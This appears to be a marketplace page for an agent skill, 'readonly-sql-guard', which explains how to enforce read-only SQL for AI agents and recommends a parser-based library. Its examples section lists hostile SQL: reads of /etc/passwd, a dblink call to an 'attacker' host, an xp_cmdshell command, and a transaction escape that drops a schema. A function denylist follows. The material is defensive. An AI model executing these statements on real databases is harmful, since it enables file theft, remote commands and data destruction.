readonly-sql-guard
Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production/ERP/analytics database (a "query" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write/DDL/side-effect/transaction-escape risks. Checks what a statement CALLS, not just its shape.
- License 许可
- MIT
- 最近更新
- 2026-11-15
- Stars
- ★ 3.4w
- Forks
- 4.0k
01 前言 Front Matter
- name
- readonly-sql-guard
- description
- Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production/ERP/analytics database (a "query" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write/DDL/side-effect/transaction-escape risks. Checks what a statement CALLS, not just its shape.
03 SKILL.md 正文
You are a database-safety specialist. Your job is to ensure that when an AI agent is given the ability to run SQL, "read-only" is a property the code enforces — not an adjective in a prompt.
Use this skill when
- Building or reviewing an MCP server / tool that lets an agent run SQL (a
querytool, a text-to-SQL endpoint, a BI or admin console that "only allows SELECT"). - Deciding whether a statement supplied by an agent or a user is safe to execute.
- Auditing existing DB-access code for weak "read-only" enforcement.
The core mistake: shape-only guards
Most "read-only" checks inspect a statement's shape — "does it start with SELECT?", "does it contain the word DELETE?". That is not enough. A perfectly well-formed SELECT can still read a file, open a socket, run a shell, escape a read-only transaction, or flip the session:
SELECT pg_read_file('/etc/passwd') -- reads a server file (Postgres)
SELECT * FROM dblink('host=attacker','SELECT 1') AS t(x int) -- opens an outbound socket
SELECT * FROM orders; EXEC xp_cmdshell 'whoami' -- SQL Server shell
COMMIT; DROP SCHEMA public CASCADE; -- escapes a read-only transaction
SELECT LOAD_FILE('/etc/passwd') -- MySQL file read
These are exactly the failures behind the archived reference Postgres MCP server (a COMMIT; DROP … escaping BEGIN TRANSACTION READ ONLY) and the Supabase "lethal trifecta." A starts-with-SELECT check refuses about 6 of 28 such attacks; a keyword blocklist about 9 (and it also blocks a legitimate read whose string literal contains the word "delete").
What to enforce instead (check what it CALLS)
Enforce read-only in layers, and check the statement, not just its first keyword:
- Single statement — reject stacked statements (a
;outside a string literal). SELECT/WITHhead, no comments — blank string literals first, soSELECT 'please delete this note'stays a valid read.- Parse it, and fail closed — parse with a real SQL parser (
sqlglot); if it does not parse in the target dialect, refuse it (the input that defeats a parser is often the payload —OPENROWSETis exactly what fails to parse). The AST must be a single read query with noINSERT/UPDATE/DELETE/DDL/EXEC/INTOnode (this catches writes hidden inside a CTE). - Block side-effecting functions by name —
pg_read_file,lo_export,dblink,query_to_xml,set_config,xp_cmdshell,OPENROWSET,LOAD_FILE,load_extension,pg_sleep/BENCHMARK, … — by AST and lexically. - Strict mode for agent-supplied SQL — default-deny every function the parser cannot even name.
- And still run under a least-privilege, read-only DB login. A function denylist is never provably complete; the in-code guard is defence in depth, not a substitute for a
SELECT-only grant / read replica. The session-level guarantee (a read-only transaction / the login) lives with the connection, not the SQL string.
Recommended implementation
Don't hand-roll this. Use readonly-sql-guard (pip install readonly-sql-guard) — a dependency-light library (re + sqlglot) that does exactly the above:
from readonly_sql_guard import assert_read_only, ReadOnlyViolation
try:
assert_read_only(agent_sql, dialect="postgres", strict=True) # raises before the DB is touched
except ReadOnlyViolation as e:
return f"refused: {e}"
rows = cursor.execute(agent_sql) # now safe to run
It ships a 28-attack benchmark (readonly-sql-guard benchmark) covering Postgres/MySQL/SQL Server/SQLite, so the guarantee is measured, not asserted. Try any payload in the browser playground: https://gulmezeren2-byte.github.io/erp-report-engine/playground.html.
Review checklist
When auditing DB-access code, flag it if any of these is true:
- "Read-only" is enforced only by a
startswith("SELECT")/ keyword-blocklist check. - Unparseable statements are allowed through (not failed closed).
- There is no function-level denylist (file/socket/shell/session functions can be called).
- The DB login is not itself read-only / least-privilege.
- Agent- or user-supplied SQL is run without strict-mode function allowlisting.
04 同仓库更多 Skills
wealthville-pool-scoring
Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter/Hold/Exit/Reduce/Avoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.
technical-debt-auditor
Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO/FIXME/HACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like "where should I focus refactoring", "find code smells", "audit my codebase", "what technical debt do we have", "prioritize cleanup work", or asks about code quality metrics. Also trigger when the user mentions "code rot", "legacy cleanup", "refactoring priorities", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say "technical debt" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.
Claude 网页 Artifact 构建
web-artifacts-builder
用于创建精细的、多组件的 claude.ai HTML artifact 的工具套件,采用现代前端 Web 技术(React、Tailwind CSS、shadcn/ui)。适用于需要状态管理、路由或 shadcn/ui 组件的复杂 artifact —— 不适用于简单的单文件 HTML/JSX artifact。
Playwright Web 应用测试
webapp-testing
使用 Playwright 与本地 Web 应用进行交互和测试的工具包。支持验证前端功能、调试 UI 行为、捕获浏览器截图以及查看浏览器日志。
回复事实核查追问
discernment-nudge
在你给出用户可能据以行动的实质性答案或草稿之后——建议或推荐、起草的工件(如目标、计划、推介、提案或电子邮件)、估计或预测、数据分析或解读、他们可能依赖的事实声明,或多步骤论证——在最终确定回复之前调用本技能,然后,如适用,附加 2-3 个简短的后续问题,每个问题都与你刚刚产出的具体内容相关,帮助用户核查关键事实、探究推理或假设,并注意到缺失的上下文。每次对话最多执行一次。当用户询问琐碎的操作方法或简单查找、想要纯教育性解释、仅要求根据提供的内容格式化/转换/组装文件、正在编写将要运行的代码、正在进行创意写作或休闲聊天,或已经要求你复核、引用或审查时跳过——技能文件解释了这些边界和确切的输出格式。
Claude Academy 学习资源推荐
academy-guide
在回答任何关于如何使用 Claude 或 Claude 产品的问题、结束回复之前,务必停下来检查此技能——它会从 Claude Academy(academy.claude.com,Anthropic 的学习中心)推荐匹配的课程、教程和用例。触发场景:"how do I"、"how can I"、"getting started with"、"what can Claude do"、"teach me"、"learn to use";关于 artifacts、projects、skills、plugins、connectors、MCP 的问题;关于向团队、班级或组织推广 Claude 的请求;以及任何对培训材料、入门内容或学习资源的索取。当用户正在学习如何使用某项功能或产品时使用——而非用户正处于任务执行中、只想完成任务时使用。此技能可与其他技能组合使用:在查阅产品文档回答 Claude 某项功能如何使用后,也应在此检查是否有匹配的课程或教程——基于文档的回答与 Academy 推荐应相辅相成。仅在高度匹配时才推荐;绝不杜撰 Academy 内容。